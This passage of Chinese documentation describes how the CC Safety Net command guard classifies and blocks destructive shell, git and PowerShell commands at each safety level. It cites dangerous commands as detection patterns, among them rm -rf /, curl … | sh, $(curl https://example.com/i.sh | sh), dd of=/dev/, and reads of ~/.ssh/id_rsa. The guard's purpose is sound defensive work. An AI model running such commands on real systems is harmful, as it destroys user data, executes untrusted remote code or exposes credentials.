explain 输出或编写精确的自定义规则时,可查阅这些细节。
分类器是防护的最后一个阶段。在此之前,有界工具输入提取、解析器预算、策略文件和 Git 元数据保护、策略快照加载以及敏感路径保护都已运行。这些阶段在有序防护阶段中定义。有界解析以及始终启用的策略文件和 Git 元数据防护,在每个安全级别下都会 fail closed。无效的策略快照使用保护性回退,敏感路径保护则遵循解析后的策略。破坏性命令分类器不能放宽更早阶段已经作出的判定。
其分派流程包括拆分命令段、剥离环境变量赋值和包装器、识别主命令,再交给对应分析器。该流程图见架构。本页继续说明每个分析器如何处理收到的命令段,以及安全级别在哪些位置改变边界。
安全级别边界
三个安全级别是三项能力的预设。只有准确理解这些边界,才能正确预测命令是否会被阻止。
任何不完全对应三个预设之一的能力组合,其有效级别都会报告为
custom。
Standard
Standard 会阻止可识别的破坏性命令,但不具备对抗级保护。对于动态或恶意输入,它只能尽力分析。- 允许看似安全但无法解析的文本。
echo 'unterminated会被允许。 - 即使无法解析,可识别的破坏性文本仍然会被阻止。
git reset --hard 'unterminated会被原始文本启发式扫描阻止,该扫描可识别rm -rf、git reset --hard/--merge、git clean -f、git checkout --force、git push --force/--delete、git branch -D、git tag -d、git stash drop/clear、git checkout --、git restore、find -delete、dd of=/dev/、mkfs /dev/、shred <arg>,以及把下载内容经管道交给 shell 的写法(curl … | sh)。 - 带引号的字面量赋值中的危险文本延后到使用时判定。
W='rm -rf ~'; echo "$W"会被允许:赋值本身不执行操作,而且参数位置中带引号的展开仍是一个 argv word,不能拆成命令和标志。任何风险更高的引用方式(未加引号、位于命令位置、位于替换中或位于未加引号的 heredoc body 中)仍会在赋值时触发阻止。把值交给 shell(eval "$W"、bash -c "$W"、echo "$W" | sh)也会拒绝,因为无法验证 shell 执行来源。Strict 从不延后判定。见仅标准允许。 - 不会一律阻止动态
rm -rf目标。 Standard 允许rm -rf "$target";只有启用 fail-closed 能力后才会阻止。 - Standard 还会允许动态可执行文件名、通过替换拼接的受防护命令结构、其他无法验证的递归删除目标,以及只检查内置敏感路径元数据的独立命令。
- 对可验证的本地生成命令执行
eval和source是允许的。eval "$(ssh-agent -s)"和source <(kubectl completion bash)在 standard 下放行,前提是替换主体为单条完全字面的简单命令,且不是远程抓取命令、shell 或命令包装器。主体仍会照常分析,它打印出来的那段 shell 则不会。Strict 和 paranoid 拒绝所有动态 shell 执行来源。见仅标准允许。 - Standard 绝不放宽敏感内容访问和配置的拒绝路径,也绝不放宽灾难性保护。
Strict
Strict 模式启用 fail-closed 能力。它的作用远不止收紧无法解析的情形。- 阻止无法解析的命令。
echo 'unterminated会被拒绝,原因说明该命令无法安全分析。 - 阻止仅元数据的敏感路径发现。
test -f ~/.ssh/id_rsa和find ~/.ssh -type f在 standard 中允许,在 strict 中阻止。 - Standard 中把 Node 和 Bun 内联求值里的敏感路径字面量视为惰性诊断数据的放宽,在 strict 中会被禁用。
- Heredoc 会 fail closed。 在其他分析器处理命令段之前,包含 heredoc 的命令会被拒绝,除非它通过 Heredoc 分析中描述的狭窄支持门:恰好一个不展开的 heredoc、连接到 stdin、没有其他输入重定向,而且使用六个字面量数据 consumer 中的一个。分隔符不带引号且 shell 会展开其 body 时,拒绝消息为 “Unquoted heredoc input is not supported safely. Quote the delimiter or ask the user to verify.”;其他失败的消息为 “This heredoc form or stdin consumer is not supported safely. Use a quoted heredoc with a supported consumer (cat, tee, git apply, git commit, gh pr create, gh issue create), or ask the user to verify.”。因此,这里会拒绝
python3 - <<'PY'和 body 中出现$HOME的cat <<EOF,而 body 为纯文本的cat <<EOF可以通过。 - 阻止无法验证的破坏性目标。 有五条规则以 fail-closed 能力为前提,因此在 standard 中允许,在 strict 中阻止:
单条 strict tier 规则可以关闭,但对于没有已注册破坏性命令规则 ID 的 fail-closed 结果,strict 仍然保持 strict,其中就包括解析器 fail-closed 和敏感路径结果。
Paranoid
Paranoid 模式是在 strict 基础上增加两项能力。- Paranoid
rm会阻止非临时的递归强制删除,即使目标位于当前工作目录内。rm -rf ./cache和Remove-Item ./cache -Recurse -Force都会被阻止。临时目标和配置的允许路径仍然允许。 - Paranoid 解释器无论内容如何都会阻止所有解释器单行命令,包括
python -c "print(1)"。
Per-rule override 与级别
对于非灾难性规则,优先级依次是:master switchdestructive_command_protection、解析后的预设能力、per-rule "on" / "off" override。任何 strict 或 paranoid tier 规则都可以通过 "on" override 在 standard 下强制启用。
灾难性规则会忽略 master switch 和任何 "off" override。 这些规则是 rm.recursive-force-root-or-home、rm.git-metadata、powershell.remove-item-root-or-home、powershell.remove-item-recursive-force-root-or-home、powershell.remove-item-git-metadata 和 find.delete-git-metadata,另有始终启用的策略文件防护。
Shell 包装器和解释器单行命令
递归进入包装器和解释器的深度上限为 10 层;只要有任何命令段被阻止,整个命令都会被拒绝。 剥离命令段中的环境变量赋值和包装器后,命令名会与两个集合比对:- Shell 包装器:
bash、sh、zsh、ksh、dash、fish、csh、tcsh。提取并递归分析-c之后的参数。 - 解释器:
python、python2、python3、node、ruby、perl。提取代码参数(-c后的参数,或 node/ruby/perl 的-e后参数),并扫描其中嵌入的破坏性操作。
python -c 'import os; os.system("rm -rf /")' 会因嵌入的 rm -rf / 而被阻止,但解释器单行命令这种形式本身是允许的。Paranoid 解释器模式则无论内容如何,都直接阻止所有单行命令。
busybox 分派按特殊情况处理:子命令被移到命令位置后重新分析。引擎会扫描 awk/gawk/mawk 程序中的 system() 调用和反引号命令替换。
透明包装器
标准包装器(sudo、env、command、builtin)始终会被剥离。你声明为透明包装器的代理命令也会被剥离。声明和约束方式见自定义规则;对分类而言,重要的是引擎如何展开它们。
展开过程会查找包装器标志和环境变量赋值后的第一个可保护子命令,或显式 -- 后的 token。展开后,内置分析和自定义规则都会应用于子命令:rtk git reset --hard 会命中内置规则,rtk docker system prune 会命中匹配的自定义规则。没有任何保护适用的子命令不会被展开。
未声明的代理,或改写、隐藏子命令而不是执行可见子命令的代理,不会被展开。只有顶层危险文本 fallback 扫描可能捕获它。
cwd 会在同一命令的各个命令段之间跟踪。目标为字面量的 cd 或 pushd 会更新后续 rm 和 find 分析使用的有效 cwd;cd 到动态目标(包含 $ 或反引号)会把 cwd 置为未知,rm 分析会将其视为没有 cwd 锚点。
一项已知限制:解释器的长格式标志(
--eval、--execute、--require 以及附带 =value 的形式)并非在所有代码路径中都能识别,因此代码参数不一定总能被提取。见已知限制。POSIX shell 函数
函数定义会被解析为定义,而不是待执行的代码。可识别三种写法:name() { ... }、bash 关键字写法 function name { ... },以及混合写法 function name() { ... }。左花括号必须与函数名同行,并且自成一个词,因此 function cleanup{ echo ok; } 不算定义。CC Safety Net 在每个调用点用调用者的有效工作目录和 shell 状态分析函数体。
cleanup() { rm -rf ../outside; } 是允许的,因为它只定义了函数。加上调用后,例如 cleanup() { rm -rf ../outside; }; cleanup,命令就会因函数体而被阻止。被调用函数体内的状态变化会延续到后续命令。例如 cleanup() { cd ..; }; cleanup && rm -rf build 会被阻止,因为 rm 锚定在上一级目录。
调用解析遵循 shell 自己的规则:
- 调用解析会跳过前置的环境变量赋值(
X=1 cleanup)、带-p选项和--终止符的time关键字,以及!取反。这也包括组合形式time -p -- ! cleanup。给函数名加引号或转义('cleanup'、"cleanup"、\cleanup)只会抑制别名展开,不会抑制函数查找,因此这些写法同样会调用该函数。 - 真实 shell 不会按关键字形式执行的写法不会解析为调用:
X=1 time cleanup、time "--" cleanup和!cleanup(中间无空格)都不视为调用。 - 调用前最后一次的定义生效,与 shell 的重定义语义一致。
- 在子 shell(
( ... ))中作出的定义不会传出子 shell;而花括号组({ ...; })在当前 shell 中运行,因此其中的定义会保留下来。 - 定义对
eval和trap仍然可见,因为它们在同一个 shell 中运行。因此,cleanup() { rm -rf ../outside; }; eval cleanup会被阻止。子 shell 不会继承这些定义,所以sh -c cleanup解析不到任何函数。
f() { rm -rf "$1"; }; f ~ 属于动态目标,在 standard 中允许,启用 fail-closed 能力后被阻止。这与 rm -rf "$X" 的处理相同。带引号赋值的延后判定也适用于被调用的函数体。在 W='rm -rf ~'; f() { $W; }; f 中,未加引号的命令位置用法仍会触发赋值时的阻止,而 f() { echo "$W"; }; f 作为带引号的参数数据仍被允许。
分析前的防护阶段同样能看穿函数调用:策略文件保护和敏感路径提取会在每个调用点评估被执行的花括号组和被调用的函数体。
有两个结构边界在每个级别(包括 standard)都会 fail closed。自递归(loop() { loop; }; loop)会因递归深度限制而被拒绝。分支调用链会因派生命令工作预算或投影的 256 个内联调用点上限而被拒绝。函数体内附带的 heredoc 不在安全支持范围内,会使命令无法解析。因此,standard 使用启发式扫描处理,strict 则直接拒绝。
Heredoc 分析
Heredoc body 是 stdin 上的文本,由 consumer 决定该文本是数据还是程序。在其他分析器处理命令段之前,引擎会先用一道狭窄的支持门检查命令。只有以下条件全部成立时才算通过:- 命令恰好有一个 heredoc(
<<或<<-),并连接到 stdin(fd 0)。 - heredoc 不展开:分隔符带引号(
<<'EOF'),或者分隔符不带引号且 body 中不含$、反引号或反斜杠。此时 shell 不做展开和转义处理,body 会逐字节原样送到 consumer。 - 没有其他输入重定向争用 stdin(
<、<<、<<-、<<<、<&、<>)。 - consumer 必须是字面量
cat、tee、git apply、git commit、gh pr create或gh issue create。不能有路径前缀,也不能有env之类的包装器。存在输出进程替换(>(...))时,cat和tee还会被额外拒绝,因为那会把 body 交给另一个命令。
cat > note.md <<'EOF'、git commit -F - <<'EOF' 以及 body 为纯文本的 cat <<EOF 仍然允许。
对于 cat、tee、git commit、gh pr create 和 gh issue create,分隔符带引号的 body 还会在敏感路径提取前被遮盖。包含 credentials 一词的提交消息不会被视为文件名。遮盖仍然要求引号。不带引号的 body 只要其中没有会展开的内容就能通过支持门,但不会被遮盖,其中形似文件名的 token 仍会被提取。git apply body 仍可见,因为 patch 会指明写入的文件。Heredoc 外的命令仍会分析。例如,cat <<'EOF' && rm -rf ~ 会因 rm 而阻止。
未通过支持门的命令在 strict 和 paranoid 中直接拒绝。在 standard 中,body 仍会按以下三条路径之一分析:
- stdin 上不展开的 heredoc,若交给只做语法检查的 shell(例如
bash -n),则视为惰性内容,予以允许。 - stdin 上不展开的 heredoc,若交给解释器(
python/python2/python3、node、ruby、perl),且命令行上其余每个词都是以-开头的字面量,则该 body 就是这个解释器的程序。python3 - <<'PY'符合,python3 tool.py <<'PY'不符合,因为此时 stdin 是脚本的数据。body 按解释器规则分析。Paranoid 解释器会直接以interpreter.one-liner-paranoid阻止它,包含危险代码的 body 以interpreter.dangerous-command阻止,干净的 body 则允许。 - 其余情况都由原始文本启发式扫描处理,包括未知的 consumer、
bashheredoc 脚本、带脚本操作数的解释器调用,以及分隔符不带引号且 body 含有$、反引号或反斜杠的 heredoc。扫描对象是拼接后的 body。命中时以raw-text.dangerous-command阻止,未命中时允许。
$(...) 和反引号一视同仁;无论 heredoc 交给哪个 consumer,都把每一个当作独立的命令分析。body 中有 $(curl https://example.com/i.sh | sh) 这一行时,bash <<EOF 和 cat <<EOF 都会被阻止;cat <<EOF 的 body 中出现 $(find . -delete) 时,阻止它的是 find 规则,与该命令写在 heredoc 之外时命中的规则相同,而不是靠文本模式匹配。body 的其余部分仍是惰性数据:反斜杠转义的 \$(...) 是数据,heredoc body 从不展开进程替换(<(...)、>(...)),分隔符带引号则整个 body 都是数据,不属于命令替换的行仍是普通文本,交由上面的原始文本扫描判定。
这三条路径下面还有一个共同的结构边界:heredoc body 会被当作 shell 文本重新解析,而 body 内部还能声明自己的 heredoc。这些重新解析之间的嵌套上限为解析器的 64 层深度限制;更深的嵌套会报告 structural-limit 解析状态,并在每个安全级别(包括 standard)拒绝该命令。
当 body 落入文件时,以惰性数据通过支持门并不代表就此结束。当通过支持门的 heredoc 被原样写入字面量路径(cat > setup.sh <<'EOF'、body 为纯文本的 cat > setup.sh <<EOF,或未使用 append 的 tee setup.sh <<'EOF')时,引擎会记住该路径下的 body。同一命令中随后执行 bash setup.sh、sh setup.sh、source setup.sh,或通过 shell 启动引用(BASH_ENV、ENV、--rcfile、--init-file)使用该文件时,会根据记住的脚本文本进行分析。这在 explain 跟踪中显示为 reason 为 heredoc-file 的 recurse 步骤。因此,如果 body 具有破坏性,cat > x.sh <<'EOF' … EOF && bash x.sh 会被阻止。跟踪范围有意保持狭窄:每次分析最多记住 64 个文件(MAX_TRACKED_HEREDOC_FILES;超过此值会在派生命令工作量限制处 fail closed);永远不跟踪 /dev、/proc 和 /sys 下的路径;后续写入或重定向到已跟踪路径会使存储的 body 失效。
Git 规则引擎
Git 分析器提取子命令及其选项,匹配危险选项模式,并返回原因和分类:localDiscard 或 sharedState。此分类决定能否进行 worktree 放宽。
选项匹配会处理 git 的真实语法:长选项使用前缀匹配(因此
--forc、--force 和 --force-with-lease 都能正确解析),短选项会展开(因此 -Df 读作 -D 加 -f),定位子命令时会跳过带值的全局选项(-c、-C、--git-dir、--work-tree、--namespace、--super-prefix、--config-env)。被阻止的 git 模式完整列表见被阻止的命令。
Git SSH 环境覆盖
Git SSH 环境覆盖
Git 支持用
GIT_SSH_COMMAND、GIT_SSH 和 GIT_SSH_VARIANT 在网络操作期间运行任意程序。这些覆盖与网络子命令(clone、fetch、pull、push、ls-remote、submodule)同时出现时,CC Safety Net 会一律阻止,因为它们可以在网络操作期间执行任意命令。checkout 细节
checkout 细节
checkout 分析按以下顺序检查:强制(--force/-f);新建分支的例外(-b/-B/--orphan 不返回阻止);--pathspec-from-file;双短横线 pathspec(git checkout -- 丢弃未提交的更改;git checkout <ref> -- <path> 用该 ref 的版本覆盖工作树);以及有歧义的多位置参数形式(出现两个或更多位置参数时,建议改用 switch/restore)。reset 分类
reset 分类
当
-- 之前出现 ref 时,reset --hard/--merge 归类为 sharedState(因为它会移动分支指针),否则归类为 localDiscard(它只丢弃工作树更改)。递归删除目标分类
rm 分析会检测递归标志和 force 标志、提取目标,并相对当前工作目录对每个目标分类。目标按以下顺序检查,第一个匹配项决定结果,因此顺序本身非常关键:
该顺序有两个后果值得明确说明:
- 步骤 4 在步骤 7 之前,因此包含仓库的允许路径不会放宽 Git 元数据保护。
- 步骤 6 在步骤 7 之前,因此允许路径绝不会应用于动态目标或其他无法验证的目标。
~/ 前缀的目录。它们在每个安全级别下都适用于 rm、Remove-Item 和 find -delete。它们绝不放宽机密保护、拒绝路径、根目录、主目录或受保护的 Git 元数据。等于或包含 $HOME 的条目会在验证时被拒绝,规范化后再次被拒绝;符号链接逃逸不在覆盖范围内。
必须同时存在递归标志(-r/-R/--recursive)和强制标志(-f/--force),此分类才会运行。路径比较使用规范化(realpath)解析,因此指向 / 的符号链接会被正确判定为危险,而 /tmp-malicious 不会匹配 /tmp 临时规则。
在 Windows 上,Git Bash 等 MSYS shell 传入的是 /c/Users/... 形式的路径,而 Windows 路径 API 会把它读成当前驱动器下的路径。因此在任何比较之前,开头的 /<drive-letter> 若后接 / 或已到字符串结尾,就会改写为 <drive-letter>:/,于是 /c/Users/you 按 c:/Users/you 参与比较。改写只影响开头这一段。其他平台不受影响,POSIX 路径、UNC 路径和 Windows 原生盘符路径都原样保留。该改写在 rm 目标分类、策略文件和 Git 元数据保护、敏感路径保护之前运行。捕获环境时,HOME 和 CC_SAFETY_NET_HOME 同样会经过该改写,因此这两个根路径与命令操作数以相同形式比较。临时目录根路径的比较在 Windows 上还会忽略大小写,所以位于 Windows 原生临时目录下的小写 MSYS 路径会归类为临时目标,而不是 cwd 外目标。
日常使用中最重要的区别:
rm -rf ./subdir(cwd 内)会被允许,而 rm -rf .(cwd 本身)会被阻止。见允许的命令。PowerShell Remove-Item
Remove-Item 及其别名使用一个保守的 PowerShell 语法子集,并沿用 rm 的目标分类体系。该子集保留原生引号、路径分隔符、连接符、管道以及动态词的来源信息。
-WhatIf、-WhatIf:$true和缩写-wi会使原本会被阻止的删除不再触发阻止;显式的-WhatIf:$false则会重新阻止。- 动态形式仅在 strict 中阻止:
Remove-Item $target -Recurse -Force、Get-ChildItem … | Remove-Item -Force管道、没有值的-Path,以及 splatting(Remove-Item @params -Recurse -Force),在 standard 中都允许,在 strict 中都被阻止。例外是Remove-Item $HOME -Recurse -Force,它在 standard 中就会被阻止,因为它归类为根目录/主目录目标,而不是动态目标。 - 别名和缩写参数都会解析,因此
ri . -r -fo会被阻止。调用运算符形式(& Remove-Item …、& { … }、. { … })也会分析,带字面量字符串的Invoke-Expression和$(…)子表达式同样如此。 #行注释和<# … #>块注释(包括嵌套的)会被忽略,但注释之后的真实命令仍然会被阻止。格式错误或触及深度限制的块注释和子表达式会 fail closed。- PowerShell 通配符确实会匹配点开头的条目,这一点与 POSIX 的
*glob 不同。因此Remove-Item .git -Recurse -Force和位于仓库根目录的 PowerShell 通配符都会命中 Git 元数据保护,而 POSIX 的./*并不覆盖.git。 - shell 的选择很重要:
posix方言有意不套用 PowerShell 的删除规则,而auto除了检测显式的Remove-Item,还会检测Get-Content、Set-Content、Add-Content、Copy-Item、Move-Item,以及参数写成 PowerShell 路径表达式的gc、cp之类别名(gc $HOME\.ssh\id_rsa)。无论哪种情况,git.reset-hard之类的跨 shell 规则都保持生效。
设备和磁盘销毁
这三个命令也会出现在无法解析文本的启发式扫描中。因此,无法解析文本中的
dd of=/dev/…、mkfs /dev/… 和 shred <arg> 会以 raw-text.dangerous-command 阻止,除非文本以 echo 或 rg 开头。这三条规则都不是灾难性规则,因此遵循 master switch 和 per-rule override 的优先级。
find、xargs 和 parallel 的动态目标分析器
对于
xargs 和 parallel,问题在于目标来自动态输入(管道 stdin 或占位符展开),因此无法相对 cwd 验证。parallel 的 SSH 远程模式(-S/--sshlogin)也会禁用 worktree 放宽。
Worktree 放宽
启用 worktree 模式后,已确认的 linked worktree 内允许本地丢弃类的 git 命令。放宽需要同时满足以下条件:- 匹配的规则分类为
localDiscard(见 Git 规则引擎一节的表格)。sharedState规则绝不放宽。 - worktree 模式已开启。
policy.json中的workflow.worktree_mode与CC_SAFETY_NET_WORKTREE=1按逻辑 OR 组合。 - 不存在 git 上下文环境覆盖(
GIT_DIR、GIT_WORK_TREE、GIT_COMMON_DIR、GIT_INDEX_FILE),并且命令行上不存在--git-dir/--work-tree。
.git 条目是一个_文件_(不是目录或符号链接),其 gitdir: 指针指向的目录包含 commondir 文件,反向链接指回这个 worktree,并且 config.worktree 匹配。主 worktree、裸仓库和 submodule 不会获得放宽。只要验证因任何原因失败,命令就保持阻止(fail closed)。
不可放宽的本地丢弃
不可放宽的本地丢弃
即使在已确认的 linked worktree 内,以下情况也绝不放宽:包含
$、*、? 或 [ 的动态参数;强制分支重置(带 -f 或 --discard-changes 的 git checkout -B/-Bf 或 git switch -C/-Cf);带多个 -f 标志的 git clean(删除嵌套的 git 仓库才需要,而这超出了一次性 worktree 的边界);以及任何 --recurse-submodules 选项或递归 submodule 配置。git -C 路径解析
git -C 路径解析
有效的 git 工作目录通过遍历前置的全局选项解析得出。
-C <path> 和内联的 -C<path> 会改变目录。--git-dir/--work-tree(分开写或 = 形式)标记显式的 git 上下文,会完全禁用放宽。自定义规则
没有内置分析器匹配时,自定义规则会作为 fallback 运行。它们严格只增不减:只能新增阻止,绝不会覆盖内置的阻止或放宽保护。规则以<rulebook-name>/<rule-name> 作为命名空间,先按命令 basename 匹配,之后的匹配方式取决于各自 rulebook 的版本。版本 1 的规则匹配可选的子命令,以及按字面匹配的 block_args;短选项会展开,因此 -Ap 能匹配 -A。rulebook_version: 2 的规则改用 match 对象匹配:match.command_path 中的各个词必须按顺序对应最前面的几个非选项参数,match.any_args 要求参数中至少出现其中一个 token,而 match.exclude_args 中的 token 只要出现一个,匹配就取消。版本 2 按 token 精确比较,不展开短选项。见版本 2 匹配。
完整的编写指南和匹配语义见自定义规则。
检查分类
要准确查看引擎如何评估特定命令,请运行explain:
npx cc-safety-net status 会打印 ready 或 degraded,配置恢复说明如何修复指定的来源。